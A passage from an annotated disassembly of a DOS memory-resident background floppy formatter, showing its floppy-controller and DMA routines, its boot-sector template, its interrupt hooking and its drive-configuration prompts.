mov word ptr ds:[216h],14Dh
retn
sub_61 endp
jmp short loc_239
nop
inc dx
inc si
dec di
push dx
dec bp
inc cx
push sp
and [bx+si],al
add al,[bx+si]
add [bx+si],ax
add al,[bx+si]
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add al,[bx+si]
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
sub [bx+si],ax
add [bx+si],al
add [bp+4Fh],cl
db ' NAME FAT12 ', 0Dh, 0Ah, ' '
db 'Non-System Disk ...', 0Dh, 0Ah, ' '
db 'Replace And Press Any Key When R'
db 'eady...', 0Dh, 0Ah, 0
loc_239:
xor ax,ax ; Zero register
cli ; Disable interrupts
mov ss,ax
mov sp,7C00h
sti ; Enable interrupts
push cs
pop ds
mov si,data_234e
cld ; Clear direction
loc_240:
lodsb ; String [si] to al
test al,al
jz loc_241 ; Jump if zero
mov ah,0Eh
xor bx,bx ; Zero register
int 10h ; Video display ah=functn 0Eh
; write char al, teletype mode
jmp short loc_240
loc_241:
mov ah,0
int 16h ; Keyboard i/o ah=function 00h
; get keybd char in al, ah=scan
int 19h ; Bootstrap loader
db 347 dup (0)
db 55h,0AAh
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_62 proc near
mov byte ptr ds:[22Fh],1
mov ds,data_25
mov al,0FFh
mov ds:dsk_motor_tmr_,al
mov al,ds:dsk_motor_stat_
and al,0Fh
push cs
pop ds
cmp al,0
je loc_242 ; Jump if equal
retn
loc_242:
mov cl,data_29
mov al,10h
shl al,cl ; Shift w/zeros fill
mov ah,al
or al,cl
or al,0Ch
mov dx,3F2h
out dx,al ; port 3F2h, dsk0 contrl output
mov cl,4
rol ah,cl ; Rotate
mov ds,data_25
mov ds:dsk_motor_stat_,ah
push cs
pop ds
mov byte ptr ds:[22Dh],2
call sub_7
retn
sub_62 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_63 proc near
pop ax
mov data_86,ax
call sub_62
call sub_67
jmp short loc_243
db 90h
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_64:
pop ax
mov data_86,ax
mov data_63,0
call sub_62
call sub_66
loc_243:
call sub_79
call sub_68
jc loc_244 ; Jump if carry Set
jmp data_86
loc_244:
clc ; Clear carry flag
jmp loc_123
sub_63 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_65 proc near
pop ax
mov data_88,ax
call sub_64
test data_73,0C0h
jz loc_245 ; Jump if zero
call sub_64
test data_73,0C0h
jz loc_245 ; Jump if zero
jmp loc_123
loc_245:
mov al,data_65
cmp data_31,0
jne loc_246 ; Jump if not equal
shl al,1 ; Shift w/zeros fill
loc_246:
mov data_63,al
call sub_63
jmp data_88
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_66:
mov ah,7
call sub_71
mov ah,data_29
call sub_71
retn
sub_65 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_67 proc near
mov ah,0Fh
call sub_71
mov ah,data_29
call sub_71
mov ah,data_63
call sub_71
retn
sub_67 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_68 proc near
mov ah,8
call sub_71
call sub_70
mov data_73,al
call sub_70
mov data_72,al
retn
sub_68 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_69 proc near
call sub_70
mov data_73,al
call sub_70
mov data_74,al
call sub_70
mov data_75,al
call sub_70
mov data_77,al
call sub_70
mov data_78,al
call sub_70
mov data_79,al
call sub_70
mov data_80,al
retn
sub_69 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_70 proc near
mov dx,3F4h
xor cx,cx ; Zero register
locloop_247:
in al,dx ; port 3F4h, dsk0 cntrlr status
and al,0C0h
cmp al,0C0h
je loc_248 ; Jump if equal
loop locloop_247 ; Loop if cx > 0
pop ax
stc ; Set carry flag
retn
loc_248:
inc dx
in al,dx ; port 3F5h, dsk0 controlr data
clc ; Clear carry flag
retn
sub_70 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_71 proc near
mov dx,3F4h
xor cx,cx ; Zero register
locloop_249:
in al,dx ; port 3F4h, dsk0 cntrlr status
and al,0C0h
cmp al,80h
je loc_250 ; Jump if equal
loop locloop_249 ; Loop if cx > 0
pop ax
stc ; Set carry flag
retn
loc_250:
mov al,ah
inc dx
out dx,al ; port 3F5h, dsk0 controlr data
clc ; Clear carry flag
retn
sub_71 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_72 proc near
mov dx,3F7h
mov al,data_71
out dx,al ; port 3F7h ??I/O Non-standard
retn
sub_72 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_73 proc near
mov al,2
out 0Ch,al ; port 0Ch, DMA-1 clr byte ptr
jmp short $+2 ; delay for I/O
mov al,ah
out 0Bh,al ; port 0Bh, DMA-1 mode reg
mov bx,data_68
push cs
pop ax
mov cl,4
rol ax,cl ; Rotate
mov ch,al
and al,0F0h
add ax,bx
jnc loc_251 ; Jump if carry=0
inc ch
loc_251:
out 4,al ; port 4, DMA-1 bas&add ch 2
jmp short $+2 ; delay for I/O
mov al,ah
out 4,al ; port 4, DMA-1 bas&add ch 2
jmp short $+2 ; delay for I/O
mov al,ch
and al,0Fh
out 81h,al ; port 81h, DMA page reg ch 2
mov ax,data_67
out 5,al ; port 5, DMA-1 bas&cnt ch 2
jmp short $+2 ; delay for I/O
mov al,ah
out 5,al ; port 5, DMA-1 bas&cnt ch 2
jmp short $+2 ; delay for I/O
mov al,2
out 0Ah,al ; port 0Ah, DMA-1 mask reg bit
retn
sub_73 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_74 proc near
pop ax
mov data_86,ax
mov data_68,28E9h
mov data_67,1FFh
mov data_69,46h ; 'F'
mov data_70,0E6h
call sub_62
call sub_72
mov ah,data_69
call sub_73
call sub_76
jc loc_252 ; Jump if carry Set
call sub_79
call sub_69
jc loc_252 ; Jump if carry Set
jmp data_86
loc_252:
clc ; Clear carry flag
call sub_7
jmp loc_123
sub_74 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_75 proc near
pop ax
mov data_86,ax
call sub_62
call sub_72
mov ah,data_69
call sub_73
call data_85
jc loc_253 ; Jump if carry Set
call sub_79
call sub_69
jc loc_253 ; Jump if carry Set
jmp data_86
loc_253:
clc ; Clear carry flag
call sub_7
jmp loc_123
sub_75 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_76 proc near
mov ah,data_70
call sub_71
mov ah,data_29
cmp data_64,0
je loc_254 ; Jump if equal
or ah,4
loc_254:
call sub_71
mov ah,data_65
call sub_71
mov ah,data_64
call sub_71
mov ah,data_66
call sub_71
mov ah,2
call sub_71
mov ah,data_56
call sub_71
mov ah,data_57
call sub_71
mov ah,0FFh
call sub_71
retn
sub_76 endp
mov ah,4Dh ; 'M'
call sub_71
mov ah,data_29
cmp data_64,0
je loc_255 ; Jump if equal
or ah,4
loc_255:
call sub_71
mov ah,2
call sub_71
mov ah,data_56
call sub_71
mov ah,data_58
call sub_71
mov ah,data_59
call sub_71
retn
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_77 proc near
mov ah,4
call sub_71
mov ah,data_29
call sub_71
call sub_70
mov data_76,al
retn
sub_77 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_78 proc near
pop ax
mov data_87,ax
call sub_48
mov ax,data_61
mov data_67,ax
mov data_68,14Dh
mov data_69,4Ah ; 'J'
mov data_85,2837h
call sub_75
test data_73,0C0h
jnz loc_256 ; Jump if not zero
jmp data_87
loc_256:
test data_74,2
jz loc_257 ; Jump if zero
jmp loc_86
loc_257:
cmp data_94,2
jne loc_258 ; Jump if not equal
mov data_94,0
jmp loc_93
loc_258:
inc data_94
call sub_65
test data_73,0C0h
jnz loc_259 ; Jump if not zero
jmp data_82
loc_259:
jmp loc_123
sub_78 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_79 proc near
mov cx,18h
locloop_260:
call sub_7
cmp byte ptr ds:[22Fh],0
jne loc_261 ; Jump if not equal
retn
loc_261:
loop locloop_260 ; Loop if cx > 0
pop ax
jmp loc_123
sub_79 endp
data_214 db 0
data_215 dw 0
db 8 dup (0)
data_217 dw 0
db 26 dup (0)
data_218 dw 0
data_219 dw 0
db 469 dup (0)
data_220 db 0
db 154 dup (0)
data_221 db 0Dh, 0Ah, ' Mem Resident Format A'
db 'lready Installed', 0Dh, 0Ah, 'Al'
db 't + Left Shift + Right Shift Wil'
db 'l Activate', 0Dh, 0Ah, '$'
data_222 db 0Dh, 0Ah, 'Background Formatter I'
db 's Installed', 0Dh, 0Ah, 'Alt + L'
db 'eft Shift + Right Shift Will Act'
db 'ivate', 0Dh, 0Ah, '$'
data_223 db 0Dh, 0Ah, 'No Diskette Drive Conn'
db 'ect', 0Dh, 0Ah, 'Program Termina'
db 'ted !', 0Dh, 0Ah, '$'
db 'There Are '
data_224 db 0
db ' Diskette Drives Connected'
db 0
data_225 db 0
db 20h,0C4h
db 14 dup (0C4h)
data_227 db ' ', 0
db 'Is This Configuration Correct ? '
db '[Y]', 0
db 'How Many Diskette Drives ( Not I'
db 'nclude Fixed Disk ) ?', 0
db 'DRIVE ', 0
db ' ( 0 - 360K, 1 - 1.2M, 2 - 720K,'
db ' 3 - 1.44M ) ?', 0
loc_262:
push cs
pop ds
push cs
pop es
call sub_86
mov word ptr ds:[1E2h],cs
mov word ptr ds:[1E4h],cs
mov word ptr ds:[1DAh],cs
mov word ptr ds:[1E0h],cs
mov word ptr data_24,0EBFEh
cli ; Disable interrupts
mov word ptr ds:[1E6h],ss
mov word ptr ds:[1E8h],sp
push cs
pop ss
mov sp,2B84h
mov ax,202h
push ax
push cs
mov ax,data_81
push ax
mov word ptr ds:[1DCh],sp
mov ss,word ptr ds:[1E6h]
mov sp,word ptr ds:[1E8h]
sti ; Enable interrupts
call sub_80
call sub_23
call sub_88
call sub_24
mov al,0Eh
mov si,19Dh
mov dx,12CCh
call sub_87
mov al,13h
mov si,1A1h
mov dx,12E6h
call sub_87
mov al,9
mov si,199h
mov dx,127Ah
call sub_87
mov al,8
mov si,195h
mov dx,11E0h
call sub_87
mov dx,offset data_222 ; ('')
mov ah,9
int 21h ; DOS Services ah=function 09h
; display char string at ds:dx
mov al,0
mov dx,2B84h
mov cl,4
shr dx,cl ; Shift w/zeros fill
add dx,11h
mov ah,31h ; '1'
int 21h ; DOS Services ah=function 31h
; terminate & stay resident
; al=return code,dx=paragraphs
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_80 proc near
push es
mov es,cs:data_25
mov dx,es:video_port_
add dx,6
mov cs:data_90,dx
pop es
int 11h ; Put equipment bits in ax
mov bh,al
and bh,30h ; '0'
mov data_91,0B800h
cmp bh,30h ; '0'
jne loc_263 ; Jump if not equal
mov data_91,0B000h
loc_263:
mov bh,al
and bh,1
and ax,0C0h
shl ax,1 ; Shift w/zeros fill
shl ax,1 ; Shift w/zeros fill
add ah,bh
cmp ah,0
jne loc_264 ; Jump if not equal
mov dx,offset data_223 ; ('')
mov ah,9
int 21h ; DOS Services ah=function 09h
; display char string at ds:dx
jmp loc_277
loc_264:
mov al,ah
cmp al,3
jl loc_265 ; Jump if <
mov al,2
loc_265:
mov data_28,al
or al,30h ; '0'
mov data_224,al
call sub_81
retn
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_81:
push ax
push es
push di
mov bx,0Dh
mov dx,0
loc_266:
mov si,dx
push ax
push bx
push dx
mov ah,8
int 13h ; Disk dl=drive a ah=func 08h
; get drive parameters, bl=type
; cx=cylinders, dh=max heads
; es:di= ptr to drive table
jc loc_267 ; Jump if carry Set
mov al,bl
dec al
pop dx
pop bx
mov [bx+si],al
pop ax
dec ah
jz loc_268 ; Jump if zero
inc dx
jmp short loc_266
loc_267:
add sp,6
loc_268:
pop di
pop es
pop ax
retn
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_82:
mov al,41h ; 'A'
mov dx,0C1Dh
mov di,0
call sub_85
retn
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_83:
call sub_82
call sub_84
retn
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_84:
mov al,42h ; 'B'
mov dx,0E1Dh
mov di,1
call sub_85
retn
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_85:
mov data_225,al
mov si,2C8Bh
call sub_14
mov al,[di+0Dh]
nop ;*ASM fixup - displacement
cbw ; Convrt byte to word
add ax,ax
mov si,ax
mov bx,offset data_32
mov si,[bx+si]
call sub_15
retn
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_86:
mov ah,51h ; 'Q'
int 21h ; DOS Services ah=function 51h
; get active PSP segment in bx
;* undocumented function
mov data_231,bx
mov ax,300Eh
mov data_232,ax
xor ax,ax ; Zero register
loc_269:
mov ds,ax
xor si,si ; Zero register
cld ; Clear direction
lodsb ; String [si] to al
cmp al,4Dh ; 'M'
je loc_271 ; Jump if equal
loc_270:
push ds
pop ax
inc ax
jmp short loc_269
loc_271:
push ds
mov si,data_3e
lodsw ; String [si] to ax
pop bx
add bx,ax
inc bx
jc loc_270 ; Jump if carry Set
cmp cs:data_231,bx
jb loc_270 ; Jump if below
push ds
mov ds,bx
cmp byte ptr ds:data_17e,4Dh ; 'M'
nop ;*ASM fixup - sign extn byte
je loc_272 ; Jump if equal
pop ds
jmp short loc_270
loc_272:
mov di,cs:data_232
push cs
pop es
mov bx,ds
pop ds
mov ax,ds
stosw ; Store ax to es:[di]
mov ax,bx
stosw ; Store ax to es:[di]
mov ds,bx
loc_273:
push ds
mov si,data_3e
lodsw ; String [si] to ax
pop bx
add bx,ax
inc bx
mov ax,bx
stosw ; Store ax to es:[di]
mov ds,bx
xor si,si ; Zero register
lodsb ; String [si] to al
cmp al,5Ah ; 'Z'
jne loc_273 ; Jump if not equal
xor ax,ax ; Zero register
stosw ; Store ax to es:[di]
push cs
pop ds
mov si,di
sub si,6
lodsw ; String [si] to ax
mov data_26,ax
lodsw ; String [si] to ax
mov data_27,ax
mov si,offset data_233
loc_274:
mov ax,[si]
cmp ax,0
je loc_275 ; Jump if equal
mov es,ax
mov ax,es:data_2e
add ax,10h
mov es,ax
mov di,data_18e
cmp word ptr es:[di],0EBFEh
je loc_276 ; Jump if equal
add si,2
jmp short loc_274
loc_275:
push cs
pop es
retn
loc_276:
mov dx,offset data_221 ; ('')
mov ah,9
int 21h ; DOS Services ah=function 09h
; display char string at ds:dx
loc_277:
call sub_11
mov ax,4C00h
int 21h ; DOS Services ah=function 4Ch
; terminate with al=return code
sub_80 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_87 proc near
push es
push ax
push si
push dx
mov ah,35h ; '5'
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
pop dx
pop si
pop ax
mov [si],bx
mov [si+2],es
mov ah,25h ; '%'
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
pop es
retn
sub_87 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_88 proc near
loc_278:
call sub_19
mov dh,8
mov dl,17h
mov si,2C65h
call sub_14
mov al,data_28
cbw ; Convrt byte to word
dec al
mov di,ax
add di,di
mov bx,offset data_229
call word ptr [bx+di] ;*
mov dh,12h
mov dl,18h
mov si,2C9Eh
call sub_14
call sub_13
loc_279:
mov ah,0
int 16h ; Keyboard i/o ah=function 00h
; get keybd char in al, ah=scan
cmp al,0Dh
je loc_ret_282 ; Jump if equal
cmp al,1Bh
jne loc_280 ; Jump if not equal
jmp short loc_ret_282
db 90h
loc_280:
and al,0DFh
cmp al,59h ; 'Y'
je loc_ret_282 ; Jump if equal
cmp al,4Eh ; 'N'
je loc_281 ; Jump if equal
call sub_11
jmp short loc_279
loc_281:
call sub_89
loc_ret_282:
retn
sub_88 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_89 proc near
call sub_19
mov dh,12h
mov dl,0Eh
mov si,2CC2h
call sub_14
call sub_13
loc_283:
mov ah,0
int 16h ; Keyboard i/o ah=function 00h
; get keybd char in al, ah=scan
cmp al,31h ; '1'
jge loc_285 ; Jump if > or =
loc_284:
call sub_11
jmp short loc_283
loc_285:
cmp al,32h ; '2'
jg loc_284 ; Jump if >
mov data_224,al
and al,0Fh
mov data_28,al
cbw ; Convrt byte to word
push ax
mov dh,8
mov dl,17h
mov si,2C65h
call sub_14
mov al,41h ; 'A'
mov byte ptr data_227+62h,al ; ('')
xor di,di ; Zero register
mov bx,0Dh
loc_286:
mov dh,12h
mov dl,0Eh
mov si,2CF8h
call sub_14
call sub_13
mov al,33h ; '3'
mov data_102,al
mov data_89,2FCDh
call sub_16
mov [bx+di],al
push bx
push di
shl di,1 ; Shift w/zeros fill
mov bx,offset data_229
call word ptr [bx+di] ;*
pop di
pop bx
inc di
pop ax
cmp di,ax
je loc_287 ; Jump if equal
push ax
inc byte ptr data_227+62h ; ('')
jmp short loc_286
loc_287:
pop ax
jmp loc_278
sub_89 endp
data_229 dw offset sub_82
data_230 dw offset sub_83
data_231 dw 0
data_232 dw 0
data_233 dw 100 dup (0)
seg_a ends
end start